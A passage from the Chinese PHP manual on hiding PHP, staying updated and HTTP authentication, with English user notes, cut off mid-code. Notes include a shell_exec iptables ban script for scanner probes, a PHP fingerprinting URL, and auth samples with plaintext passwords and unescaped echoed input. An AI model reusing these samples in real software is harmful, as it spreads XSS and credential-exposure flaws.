Even you hide your PHP, requests for bugy scripts still come.
No matter whether you have the script on your server or not.

You can make an additional step for those requests. Since the host now trying that buggy script  then, in the future when a new bug arises it will be tried  by that host again with a high possibility. So banning that host completey at its first attempt may be a good idea. For  this,

1- Add Permanent links for those requests in your httpd.conf:
RedirectMatch permanent (.*)awstats(.*)$ http://your_server/your_script.html

RedirectMatch permanent (.*)xmlrpc(.*)$ http://your_server/your_script.html
and add whatever you want to ban.

2- Write following code in your_script.html
<?
$host= $_SERVER['REMOTE_ADDR'];
$dropit = "iptables -A INPUT -i eth0 -p tcp -s $host -m multiport --destination-ports 80,25,22 -j DROP";
shell_exec($dropit);
exit
?>

Yavuz Darendelioglu
user at pampelhuber dot invalid
18-Dec-2005 08:32
It is unnecessary, to let every Pampelhuber inspect your 'php.ini' files.
Put the following into the .htaccess of your htdocuments' root:

#Obscure 'php.ini' files (where they exist)
RedirectMatch 404 .*php\.ini$
jtw90210
30-Jun-2005 04:19
In order to get the PATH_INFO to work in order to pass parameters using a hidden program/trailing slash/"pretty url" in more recent versions of PHP you MUST add "AcceptPathInfo On" to your httpd.conf.

AddType application/x-httpd-php .php .html
AcceptPathInfo On

Try it out with your phpinfo page and you'll be able to search for PATH_INFO.

http://yourserver.com/myphpinfo.php/showmetheway

If you want to drop the .php use one or both of these:
DefaultType application/x-httpd-php
ForceType application/x-httpd-php
26-May-2005 04:06
You could also do this in .htaccess when you use Apache and your configuration allows you to override :

<Files test>
   ForceType application/x-httpd-php
</Files>

That way, you can use the URL test?pop=true without having to fake it by using test/index.php.

See the Apache manual for more info: http://httpd.apache.org/docs/mod/mod_mime#forcetype
benjamin at sonntag dot fr
25-May-2005 12:14
In response to the previous messages, for apache, there is a easier way to set files without "." to be executed by PHP, just put this in a ".htaccess" file :

DefaultType  application/x-httpd-php
dimitar at bastun dot net
18-Jan-2005 01:13
In case there are an Internal Server error(error 500) using the old code below in an .htaccess file, you can replace it with the code modification that must solve the problem.

Old code
-----------

<Files ~ "^[^\.]+$">
       ForceType application/x-httpd-php
</Files>

Replacement of the code above(code modification)
------------------------------------------------------------

AddHandler server-parsed .php
<Files ~ "^[^\.]+$">
SetHandler application/x-httpd-php
</Files>

Regards,
Dimitar Tanev
Nikolai-Zujev-(at)-Gmail-dot-Com
23-Sep-2004 03:22
Assign files w/o extension to php interpreter
without using ReWrite module

[clip httpd.conf]

<Files ~ "^[^\.]+$">
       ForceType application/x-httpd-php
</Files>

[/clip]
php at vfmedia dot de
15-Jun-2004 09:21
Ive found an easy way to hide php code and the uri is searchable by google and others...(only for unix or linux)

At first I have some rules in my hide.conf (i made an extra .conf for it (apache 2.0))

For example when I want to mask the index.php

<Files index>
 ForceType application/x-httpd-php
 </Files>

My problem is, that my code should be readable...

so I made an extra folder for example srv/www/htdocs/static_output

My phpcode is in the includefolder....(for ex. mnt/source/index.php)

Then I made a link in the shell  > ln mnt/source/index.php srv/www/htdocs/static_output/index

So the code is readable (with .php extension) in my includefolder and there is only the link in the srv folder without extension(which is called by the browser...).
12-May-2004 11:20
Keep in mind, if your really freaked out over hiding PHP, GD will expose you.

Go ahead - make an image with GD and open with a text editor.. Somewhere in there you'll see a comment with gd & php all over it.
php at user dot net
11-Apr-2004 09:36
What about this in a .htaccess file :

RewriteEngine on
RewriteRule    ^$    /index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)/$    /$1/index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)\.(html|htm)$    /$1.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)$    /$1.php    [L]

Typing "sub.domain.foo/anything" loads "/anything/index.php" if 'anything' is a directory, else it loads "/anything.php".

I'm sure you can find mutch better, but it works great on my site :)
mmj
14-Mar-2004 09:58
You can see if somebody's using PHP just by adding the following to the end of the URL:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
If the page is using PHP, this will show the PHP credits.

Setting expose_php to Off in php.ini prevents this.
Elora at alexandria dot cc
14-Feb-2004 07:30
<bminton at efn dot org>'s suggestion won't work. All someone has to do is look at "foo.com/dir/" and try "foo.com/dir/index.html", "foo.com/dir/index.php", "foo.com/dir/index.cgi", until no 403/404 is returned.
ldemailly at qualysNOSPAM dot com
28-Oct-2003 12:17
adding MultiViews to your apache Options config
lets you hide/omit .php in the url without any rewriting, etc...
l0rdphi1 at liquefyr dot com
21-Jul-2003 07:02
More fun includes files without file extensions.

Simply add that ForceType application/x-httpd-php bit to an Apache .htaccess and you're set.

Oh yea, it gets even better when you play with stuff like the following:

substr($_SERVER['PATH_INFO'],1);

e.g. www.yoursite.com/somepage/55

And:

foreach ( explode('/',$_SERVER['PATH_INFO']) as $pair ) {
   list($key,$value) = split('=',$pair,2);
   $param[$key] = stripslashes($value);
}

e.g. www.yoursite.com/somepage/param1=value1/param2=value2/etc=etc

Enjoy =)
Bryce Nesbitt at Obviously.COM
28-Mar-2003 12:24
Using the .php extension for all your scripts is not necessary, and in fact can be harmful (by exposing too much information about your server, and by limiting what you can do in the future without breaking links). There are several ways to hide your .php script extension:

(1) Don't hard code file types at all.  Don't specify any dots, and most web servers will automatically find your .php, .html, .pdf, .gif or other matching file. This is called canonical URL format:
     www.xxxxxx.com/page
   www.xxxxxx.com/directory/
This gives you great flexibility to change your mind in the future, and prevents Windows browsers from making improper assumptions about the file type.

(2) In an Apache .htaccess file use:
   RewriteEngine on
   RewriteRule page.html page.php

(3) Force the webserver to interpret ALL .html files as .php:
   AddType application/x-httpd-php .php3 .php .html
bminton at efn dot org
28-Feb-2003 04:05
Another technique is to have every file be named index.php and be in it's own directory.  Then instead of using for instance http://my.site/foo.php you could use http://my.site/foo/ where foo is a directory with a file called index.php in it.
30-Jan-2003 02:53
PS. If you want to use pretty URLs (i.e. hide your .php extensions) AND you have safe-mode=on, the previous example (ForceType) won't work for you.  The problem is that safe-mode forces Apache to honor trailing characters in a requested URL.  This means that:

http://www.foo.com/home

would still be processed by the home script in our doc root, but for:

http://www.foo.com/home/contact_us.html

apache would actually look for the /home/contact_us.html file in our doc root.

The best solution I've found is to set up a virtual host (which I do for everything, even the default doc root) and override the trailing characters handling within the virtual host.  So, for a virtual host listening on port 8080, the apache directives would look like this:

<VirtualHost *:8080>
   DocumentRoot /web/doc_root
   Alias /home "/web/doc_root/home.php"
   AcceptPathInfo On
</VirtualHost>

Some people might question why we are overriding the trailing characters handling (with the AcceptPathInfo directive) instead of just turning safe-mode=off.  The reason is that safe mode sets global limitations on the entire server, which can then be turned on or left off for each specific virtual host.  This is the equivilent of blocking all connections on a firewall, and then opening up only the ones you want, which is a lot safer than leaving everything open globally, and assuming your programmers will never overlook a possible security hole.
Azureash
28-Jan-2003 08:34
Another way to hide your .php extensions is to use the Apache ForceType directive (which is often referred to as pretty URLs.)  Basically you force Apache to parse a file as PHP that matches the trailing directory name in your URL.

For example, place this directive in your Apache httpd.conf file:
<Location /home>
     ForceType application/x-httpd-php
</Location>

and create a php file name "home" in your doc root.  This file should not have a .php extension, and can be a php template file.  Combined with a function to strip out URL parameters, this can create a new templating system, which can effectively hide your file extensions.

In this example,
http://www.foo.com/home/bar.html

would actually use the home script we created, and then the "bar.html" could be used to specify content to include.
Kevin Vincent
23-Jan-2003 09:43
Just a thought but if you have changed the extensions that php interprets I would assume you've also changed header.php and footer.php files to the new extension.

EG:

index.php, somefile.php, header.php, footer.php...

Change the Apache directive so PHP interprets .kev files and rename your files:

index.kev, somefile.kev, header.kev, footer.kev

If you leave header and footer as PHP files then it won't understand how to interpret them.
sth at panix dot com
05-Aug-2002 03:45
The flipside to this is, if you're running a version of
PHP/Apache which is not known to have exploitable bugs (usually the latest stable version at the time), and an attacker sees this, they may give up before even trying. If they don't, they may continue to attempt their exploit(s).

It really depends on the type of attacker. The educated, security advisory reading attacker vs. script kiddie on the street.

If you're keeping up on patches, version exposition should not be a problem for you.
m1tk4 at hotmail dot com
23-Jul-2002 08:53
I usually do:

<code>
RewriteEngine on<br>
RewriteOptions inherit<br>
RewriteRule (.*)\.htm[l]?(.*) $1.php$2 [nocase]<br>
</code>

in .htaccess. You'll need mod_rewrite installed for this .
yasuo_ohgaki at yahoo dot com
26-Jan-2002 07:59
To hide PHP, you need following php.ini settings

expose_php=Off
display_errors=Off

and in httpd.conf

ServerSignature Off
(min works, but I prefer off)
istvan dot takacsNOSPAM at hungax dot com
31-Dec-2001 01:42
And use the
ServerTokens min
directive in your httpd.conf to hide installed PHP modules in apache.
add a note add a note

后退 | 起点 | 前进
关闭魔术引号 | 上一级 | 保持更新


保持更新

PHP 手册
后退 前进

章 33. 保持更新

PHP 和其它的大型系统一样，在持续的研究和改进中。每一个版本都会有或多或少的改进，以便提高安全性和修复已发现的问题等，这样做有利于提高整个系统的安生性和稳定性。

和其它系统级的脚本语言一样，最好的途径是经常更新，并时刻留意最新版本及其改变。

add a note add a note User Contributed Notes
me at jonheather dot com
10-Oct-2005 08:52
Agreed, but if they are a decent and respectable web hosting company, they would update PHP regularly and most surely do so if asked.
Chris Hester
08-Sep-2005 05:49
The problem lies in everyday web hosting firms which often seem to employ old versions of PHP. The user is therefore stuck. They may also be at risk as security patches won't be present. Users might also like to use the latest features in PHP5, but the host may still be using PHP4.

Hosts might also be running with register_globals on. As reported elsewhere in the comments on this site, when some hosts turned it off, they got several emails about broken scripts. So the hosts simply turned register_globals back on.

The only solutions, besides pestering the web host to upgrade, are to change to a different, more modern host, or consider renting a virtual server where you can set up PHP yourself. Of course this is likely to be more expensive and so not suitable for the average person. It just seems a shame to be stuck using older versions of PHP which are less secure than the latest one.
add a note add a note

后退 | 起点 | 前进
隐藏 PHP | 上一级 | 特点


特点

PHP 手册
后退 前进

V. 特点

目录
34. 用 PHP 进行 HTTP 认证
35. cookies
36. 会话
37. 处理 XForms
38. 文件上传处理
39. 使用远程文件
40. 连接处理
41. 数据库永久连接
42. 安全模式
43. PHP 的命令行模式

add a note add a note User Contributed Notes
yohgaki at hotmail dot com
14-Apr-2001 05:48
PHP manages freeing all resources. Users does not required to free file handle resource, database resources, memory, etc, unless programmer need to free resource during script execution.
(All resources are released after script execution)

PHP4 also have reference count feature. For example, memory for variables is shared when it assigned to other variable. If contents has been changed, PHP4 allocate new memory for it.

For example, programmer does not have to use pass by reference for large parameters for better performance with PHP4.

It would be a nice section for new PHP users, if there is "Resource Handling" section or like. Explanation about reference count feature in PHP4 would be very helpful to write better PHP4 scripts also.
add a note add a note

后退 | 起点 | 前进
保持更新 |  | 用 PHP 进行 HTTP 认证


用 PHP 进行 HTTP 认证

PHP 手册
后退 前进

章 34. 用 PHP 进行 HTTP 认证

PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效，因此该功能不适用于 CGI 版本。在 Apache 模块的 PHP 脚本中，可以用 header() 函数来向客户端浏览器发送“Authentication Required”信息，使其弹出一个用户名／密码输入窗口。当用户输入用户名和密码后，包含有 URL 的 PHP 脚本将会加上预定义变量 PHP_AUTH_USER，PHP_AUTH_PW 和 AUTH_TYPE 被再次调用，这三个变量分别被设定为用户名，密码和认证类型。预定义变量保存在 $_SERVER 或者 $HTTP_SERVER_VARS 数组中。支持“Basic”和“Digest”（自 PHP 5.1.0 起）认证方法。请参阅 header() 函数以获取更多信息。

PHP 版本问题: Autoglobals 全局变量，包括 $_SERVER等，自 PHP 4.1.0 起有效，$HTTP_SERVER_VARS 从 PHP 3 开始有效。

以下是在页面上强迫客户端认证的脚本范例：

例子 34-1. Basic HTTP 认证范例

<?php
  if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="My Realm"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Text to send if user hits Cancel button';
    exit;
  } else {
    echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
    echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
  }
?>

例子 34-2. Digest HTTP 认证范例

本例演示怎样实现一个简单的 Digest HTTP 认证脚本。更多信息请参考 RFC 2617。

<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');

if (!isset($_SERVER['PHP_AUTH_DIGEST'])) {
    header('HTTP/1.1 401 Unauthorized');
    header('WWW-Authenticate: Digest realm="'.$realm.
           '" qop="auth" nonce="'.uniqid().'" opaque="'.md5($realm).'"');

    die('Text to send if user hits Cancel button');
}

// analize the PHP_AUTH_DIGEST variable
preg_match('/username="(?P<username>.*)",\s*realm="(?P<realm>.*)",\s*nonce="(?P<nonce>.*)",\s*uri="(?P<uri>.*)",\s*response="(?P<response>.*)",\s*opaque="(?P<opaque>.*)",\s*qop=(?P<qop>.*),\s*nc=(?P<nc>.*),\s*cnonce="(?P<cnonce>.*)"/', $_SERVER['PHP_AUTH_DIGEST'], $digest);

if (!isset($users[$digest['username']]))
    die('Username not valid!');

// generate the valid response
$A1 = md5($digest['username'] . ':' . $realm . ':' . $users[$digest['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$digest['uri']);
$valid_response = md5($A1.':'.$digest['nonce'].':'.$digest['nc'].':'.$digest['cnonce'].':'.$digest['qop'].':'.$A2);

if ($digest['response'] != $valid_response)
    die('Wrong Credentials!');

// ok, valid username & password
echo 'Your are logged in as: ' . $digest['username'];

?>

兼容性问题: 在编写 HTTP 标头代码时请格外小心。为了对所有的客户端保证兼容性，关键字“Basic”的第一个字母必须大写为“B”，分界字符串必须用双引号（不是单引号）引用；并且在标头行 HTTP/1.0 401 中，在 401 前必须有且仅有一个空格。

在以上例子中，仅仅只打印出了 PHP_AUTH_USER 和 PHP_AUTH_PW 的值，但在实际运用中，可能需要对用户名和密码的合法性进行检查。或许进行数据库的查询，或许从 dbm 文件中检索。

注意有些 Internet Explorer 浏览器本身有问题。它对标头的顺序显得似乎有点吹毛求疵。目前看来在发送 HTTP/1.0 401 之前先发送 WWW-Authenticate 标头似乎可以解决此问题。

自 PHP 4.3.0 起，为了防止有人通过编写脚本来从用传统外部机制认证的页面上获取密码，当外部认证对特定页面有效，并且安全模式被开启时，PHP_AUTH 变量将不会被设置。但无论如何，REMOTE_USER 可以被用来辨认外部认证的用户，因此可以用 $_SERVER['REMOTE_USER'] 变量。

配置说明: PHP 用是否有 AuthType 指令来判断外部认证机制是否有效。

注意，这仍然不能防止有人通过未认证的 URL 来从同一服务器上认证的 URL 上偷取密码。

Netscape Navigator 和 Internet Explorer 浏览器都会在收到 401 的服务端返回信息时清空所有的本地浏览器整个域的 Windows 认证缓存。这能够有效的注销一个用户，并迫使他们重新输入他们的用户名和密码。有些人用这种方法来使登录状态“过期”，或者作为“注销”按钮的响应行为。

例子 34-3. 强迫重新输入用户名和密码的 HTTP 认证的范例

<?php
  function authenticate() {
    header('WWW-Authenticate: Basic realm="Test Authentication System"');
    header('HTTP/1.0 401 Unauthorized');
    echo "You must enter a valid login ID and password to access this resource\n";
    exit;
  }

  if (!isset($_SERVER['PHP_AUTH_USER']) ||
      ($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
   authenticate();
  }
  else {
   echo "<p>Welcome: {$_SERVER['PHP_AUTH_USER']}<br />";
   echo "Old: {$_REQUEST['OldAuth']}";
   echo "<form action='{$_SERVER['PHP_SELF']}' METHOD='post'>\n";
   echo "<input type='hidden' name='SeenBefore' value='1' />\n";
   echo "<input type='hidden' name='OldAuth' value='{$_SERVER['PHP_AUTH_USER']}' />\n";
   echo "<input type='submit' value='Re Authenticate' />\n";
   echo "</form></p>\n";
  }

该行为对于 HTTP 的 Basic 认证标准来说并不是必须的，因此不能依靠这种方法。对 Lynx 浏览器的测试表明 Lynx 在收到 401 的服务端返回信息时不会清空认证文件，因此只要对认证文件的检查要求没有变化，只要用户点击“后退”按钮，再点击“前进”按钮，其原有资源仍然能够被访问。不过，用户可以通过按“_”键来清空他们的认证信息。

同时请注意，在 PHP 4.3.3 之前，由于微软 IIS 的限制，HTTP 认证无法工作在 IIS 服务器的 CGI 模式下。为了能够使其在 PHP 4.3.3 以上版本能够工作，需要编辑 IIS 的设置“目录安全”。点击“编辑”并且只选择“匿名访问”，其它所有的复选框都应该留空。

另一个限制是在 IIS 的 ISAPI 模式下使用 PHP 4 的时候，无法使用 PHP_AUTH_* 变量，而只能使用 HTTP_AUTHORIZATION。例如，考虑如下代码：list($user, $pw) = explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));。

IIS 注意事项: 要 HTTP 认证能够在 IIS 下工作，PHP 配置选项 cgi.rfc2616_headers 必须设置成 0（默认值）。

注: 如果安全模式被激活，脚本的 UID 会被加到 WWW-Authenticate 标头的 realm 部分。

add a note add a note User Contributed Notes
Louis
04-Jun-2006 06:51
I couldn't get authentication to work properly with any of the examples. Finally, I started from ZEND's tutorial example at:
http://www.zend.com/zend/tut/authentication.php?article=authentication (validate using .htpasswd) and tried to deal with the additional cases. My general conclusion is that changing the realm is the only reliable way to cause the browser to ask again, and I like to thank the person who put that example in the manual, as it got me on the right path. No matter what, the browser refuses to discard the values that it already has in mind otherwise. The problem with changing the realm, of course, is that you don't want to do it within a given session, else it causes a new request for a password. So, here goes, hopefully the spacing isn't too messed up by the cut'n'paste.

I spent the better part of a day getting this to work right. I had a very hard time thinking through what the browser does when it encounters an authentication request: seems to me that it tries to get the password, then reloads the page... so the HTML doesn't get run. At least, this was the case with IE, I haven't tested it with anything else.

<?php
session_start() ;
if (!isset($_SESSION['realm'])) {
       $_SESSION['realm'] = mt_rand( 1, 1000000000 ).
               " SECOND level: Enter your !!!COMPANY!!! password.";

       header( "WWW-Authenticate: Basic realm=".$_SESSION['realm'] );

       //  Below here runs HTML-wise only if there isn't a $_SESSION,
       // and the browser *can't* set $PHP_AUTH_USER... normally
       // the browser, having gotten the auth info, runs the page
       // again without getting here.
       //  What I'm basically getting to is that the way to get
       // here is to escape past the login screen. I tried
       // putting a session_destroy() here originally, but the
       // problem is that the PHP runs regardless, so the
       // REFRESH seems like the best way to deal with it.
       echo "<meta http-equiv=\"REFRESH\"
               content=\"0;url=index.php\">" ;
       exit;
       }

if ($_POST['logout'] == "logout") {
       session_destroy() ;
       header('Location: comeagain.php');
       exit ;
       }

// "standard" authentication code here, from the ZEND tutorial above.

comeagain.php is as follows:

<?
session_start();
unset($_SESSION['realm']);
session_destroy();
echo "<html><head><title>Logged Out</title><h1>Logout Page</h1><body>" ;
echo "You have successfully logged out of TOGEN";
echo " at ".date("h:m:s")." on ".date("d F Y") ;
echo "<p><a href=\"index.php\">Login Again</a>" ;
echo "</body></html>" ;
?>

The idea is to be able to trash the session (and thus reset the realm) without prompting the browser to ask again... because it has been redirected to logout.php.

With this combination, I get things to work. Just make sure not to have apache run htpasswd authentication at the same time, then things get really weird :-).
henrik at laurells dot net
01-Jun-2006 02:36
Above top example for digest mode dosn't work if you have safemode on. You need to add a dash and UID to the compare string to make it work. Something like this;;

$A1 = md5($data['username'].':'.
               $realm.'-'.getmyuid().':'.
               $users[$data['username']]);
kembl at example dot com
23-May-2006 11:06
# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
 RewriteEngine on
 RewriteCond %{HTTP:Authorization}  !^$
 RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}, \
E=PHP_AUTH_USER:%{HTTP:Authorization},L]
cyberscribe at php dot net
08-May-2006 02:47
To implement the Digest authentication mentioned above in PHP < 5.1, try prepending the following:

<?php
$headers = apache_request_headers();
$_SERVER['PHP_AUTH_DIGEST'] = $headers['Authorization'];
?>

or, if you don't like the idea of modifying the global $_SERVER variable directly, just use the first line and then substitute $_SERVER['PHP_AUTH_DIGEST'] in the sample code with $headers['Authorization']. Works great.
ZyX
04-Mar-2006 08:04
Simple PHP Script to login on a Basic Authentication page.

<?php

/* Access Configuration */
define ('x401_host', 'www.example.com');
define ('x401_port', 80);
define ('x401_user', 'your_username');
define ('x401_pass', 'your_password');

/* Function */
function get401Page($file) {
   $out  = "GET $file HTTP/1.1\r\n";
   $out .= "Host: ".x401_host."t\r\n";
   $out .= "Connection: Close\r\n";
   $out .= "Authorization: Basic ".base64_encode(x401_user.":".x401_pass)."\r\n";
   $out .= "\r\n";

   if (!$conex = @fsockopen(x401_host, x401_port, $errno, $errstr, 10))
       return 0;
   fwrite($conex, $out);
   $data = '';
   while (!feof($conex)) {
       $data .= fgets($conex, 512);
   }
   fclose($conex);
   return $data;
}

/* Code */
if ($source = get401Page('/absolute/path/file.php?get=value')) {
  echo $source;
} else {
  echo "I can't connect!";
}

?>
djreficul at yahoo dot com
15-Feb-2006 06:14
Well, I think it's easy to make authentification works correctly. I use a session var to force authentication everytime a user visit the logging area.

<?php
if (!isset ($_SESSION['firstauthenticate'])) {
   session_start();
}
  function authenticate() {
   header('WWW-Authenticate: Basic realm="Sistema autentificacin UnoAutoSur"');
   header('HTTP/1_0 401 Unauthorized');
//    header("Status: 401 Access Denied");
   echo "Unauthorized\n";
   exit;
  }
 if (!isset($_SERVER['PHP_AUTH_USER']) || strcmp ($_SERVER['PHP_AUTH_USER'],$user)!=0 ||
     !isset ($_SERVER['PHP_AUTH_PW']) || strcmp($_SERVER['PHP_AUTH_PW'],$pass)!=0 || !isset ($_SESSION['firstauthenticate']) || !$_SESSION['firstauthenticate']) {
     $_SESSION['firstauthenticate']=true;
   authenticate();
 } else {
           //I destroy the session var now
   session_unset();
           //Your code below
 }
?>
notter at thisaddress dot com
12-Jan-2006 11:19
A better example of the solution Brian was suggesting [admins: please delete my previous post]

logout.php:

<?php
if (!isset($_GET['quit'])) { ?>
        <h4>To complete your log out, please click "OK" then "Cancel" in
       this <a href="logout.php?quit=y">log in box</a>. Do not fill in a
       password. This should clear your ID and password from the cache of your
       browser.
       <blockquote>Note: Logging in from this particular box is
       disabled!</blockquote>
       <p>Go <a href="/">back to the site</a>.</h4>
       <?php
} else {
       header('WWW-Authenticate: Basic realm="This Realm"');
       header('HTTP/1.0 401 Unauthorized');
       // if a session was running, clear and destroy it
       session_start();
       session_unset();
       session_destroy();
       echo "<h3>Logged out!</h3><h4>Go <a href=\"/\">back to the site</a>.</h4>";
}
?>

Note: "This Realm" should be changed to precisely match the name of your realm in your main login.
marco dot moser at oltrefersina dot it
09-Jan-2006 10:29
I suggest to demand user's authentication and management to the web server (by .htaccess, ...):

1. configure a global /logon/ directory with a .htaccess file restricted access

2. use fopen wrapper:

  $hh = @fopen("http://{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}".
   @{$_SERVER['SERVER_NAME']}/logon/", "r");
  if (!$hh) authenticate(); // usual header WWW-Authenticate ...
  fclose($hh);
sezer yalcin
17-Dec-2005 05:16
none of those 'logout' methods would work well.

Even tricky ones like using cookie to reset cache.

Do not waste your time on this.

Browsers want to keep username and password to help user anyway. Try closing the window, or telling user to restart browser.
oaev at mail dot ru
19-Oct-2005 04:26
Once more time about PHP through CGI.

Sometimes by some reasons (settings) web-server does not allow to set any environment variables through .htaccess file, so method offered by bernard dot paques at bigfoot dot com will not work.

Another way to solve this is to set some GET variable:

file .htaccess (it's just my example, maybe you can find better way):

<IfModule mod_rewrite.c>
   RewriteEngine on

   RewriteCond %{QUERY_STRING} ^$
   RewriteRule ([^\s]+).php$ $1.php?BAD_HOSTING=%{HTTP:Authorization}

   RewriteCond %{QUERY_STRING} ^(.+)$
   RewriteRule ([^\s]+).php $1.php?%1&BAD_HOSTING=%{HTTP:Authorization}
</IfModule>

a part of php file:

<?php
   if((empty($_SERVER['PHP_AUTH_USER']) or empty($_SERVER['PHP_AUTH_PW'])) and isset($_REQUEST['BAD_HOSTING']) and preg_match('/Basic\s+(.*)$/i', $_REQUEST['BAD_HOSTING'], $matc))
       list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', base64_decode($matc[1]));

?>
somebody
18-Oct-2005 10:20
In the previous example it will not work in IE. In order to have a single script work on both IE and FireFox (and handle the cache problem), you need to use the $_SERVER['HTTP_USER_AGENT'] variable to know which logout version to present to the user.

An full example can be seen in the url (could not post it here due to size restrictions):

http://www.free-php.org/index.php?
cat_select=HTTP&show=HTTP_Authentication

(URL split also due to size restrictions)
niklas[dot]westerberg[at]sizeit[dot]se
07-Oct-2005 06:23
To reset the credentials stored by the browser and effectivly force reauthentication of the user, make a logout link on your page pointing to http://logout:logout@{$_SERVER['SERVER_NAME']}/nice_logout_page.php , presuming that there is no user logout with password logout.

Very simple!

Got it from http://www.webmasterworld.com/forum13/3147.htm
siberion at hotmail dot com
25-Aug-2005 12:11
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.example.com/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
me at lalit dot org
30-Jun-2005 11:27
A very simple HTTP Authentication script that solves the logout problem. I wasted a lot of time figuring out a way to logout. This one works perfectly fine.

<?php

function auth_user() {
   $realm = mt_rand( 1, 1000000000 );
   header('WWW-Authenticate: Basic realm="Realm ID='.$realm.']"');
   header('HTTP/1.0 401 Unauthorized');
   die("Unauthorized access forbidden!");
}

if (!isset($_SERVER['PHP_AUTH_USER'])) {
   auth_user();
} else if (!isset($_SERVER['PHP_AUTH_USER'])) {
   auth_user();
} else if ($_SERVER['PHP_AUTH_USER'] != $auser || $_SERVER['PHP_AUTH_PW'] != $apass) {
   auth_user();
} else if (isset($_GET['action']) && $_GET['action'] == "logout") {
   auth_user();
}

// Normal Page Code Here
?>

Hope this helps,
Lalit
snagnever at gmail dot com
19-Jun-2005 06:39
It forces a auth each time the page is accessed:
(maybe can save someone)

<?
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
header("Pragma: no-cache");
session_cache_limiter("public, no-store");
session_start();

function http_auth()
{
   $_SESSION['AUTH'] = 1;
   header('HTTP/1.0 401 Unauthorized');
   header('WWW-Authenticate: Basic realm="sn4g auth system"');
   // The actions to be done when the user clicks on 'cancel'
   exit();
}

if( !isset($_SERVER['PHP_AUTH_USER']) or @$_SESSION['AUTH'] != 1 )
{
   http_auth();
   exit();
}

// Actions do be done when the user has logged

// rest, must clean the session array
$_SESSION = array();
session_destroy();
?>
aplanefan at mail dot com
26-May-2005 09:36
I found a way to log out easily
<?php
ob_start();
if (!isset($_SERVER['PHP_AUTH_USER']) || $_COOKIE['isin'] != "1") {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
setcookie ("isin", "1");
die('<a href="orderhan.php">Login</a>');
}
else {
if($_SERVER['PHP_AUTH_USER'] == "USER" &&  $_SERVER['PHP_AUTH_PW']== "PASSWORD") {
echo "you got in";
echo "<a href='".$_SEVER['PHP_SELF']."?action=logout'>logout</a>";
}
else {
setcookie ("isin", "", time() - 3600);
$url=$_SERVER['PHP_SELF'];
header("location: $url");
}
if($_GET['action'] == "logout") {
setcookie ("isin", "", time() - 3600);
$url=$_SERVER['PHP_SELF'];
header("location: $url");
}
}
ob_end_flush();
?>
charly at towebs dot com
30-Apr-2005 01:13
A simpler approach on the post of:
bernard dot paques at bigfoot dot com
24-Sep-2004 01:42

This is another "patch" to the PHP_AUTH_USER and PHP_AUTH_PW server variables problem running PHP as a CGI.

First of all don't forget this fragment of code in your .htaccess (it's the only thing you need to make it work with mod_rewrite):

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

Then login.php

<?php
$a = base64_decode( substr($_SERVER["REMOTE_USER"],6)) ;
if ( (strlen($a) == 0) || ( strcasecmp($a, ":" )  == 0 ))
{
   header( 'WWW-Authenticate: Basic realm="Private"' );
   header( 'HTTP/1.0 401 Unauthorized' );
}
else
{
   list($name, $password) = explode(':', $a);
   $_SERVER['PHP_AUTH_USER'] = $name;
   $_SERVER['PHP_AUTH_PW']    = $password;

}

echo 'PHP_AUTH_USER =' . $_SERVER['PHP_AUTH_USER'] . '<br>';
echo 'PHP_AUTH_PW =' . $_SERVER['PHP_AUTH_PW'] . '<br>';
echo 'REMOTE_USER =' . $_SERVER['REMOTE_USER'] . '<br>';
?>

First, we decode the base64 encoded string discarding the first 6 characters of "Basic " and then we do a regular validation.
At the end of the script we print the variables to verify it's working. This should be ommited in the production version.

It's a variation of the script by Bernard Paques.
Thanks to him for that snippet.
lexa at toxa dot de
30-Mar-2005 04:17
/**
After many tries, I created a login/logout-mechanism, which works
with Internet Explorer (tested on IE6) and Firefox (tested on V1.0).

I've combined some of the hints given below and used a session as
a second independent memory.

check4login() has to be called on every loading of the page.
 **/

function check4login() {

   $baselink = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];

   // start a session and don't let it stop automatically:
   session_set_cookie_params(0);
   session_start();
   setcookie("PHPSESSID", session_id());

   // check if the current loading of the page is the first loading
   // after a logout:
   if ($_SESSION['logout'] != '') {
       unset($_SESSION['logout']);
       //
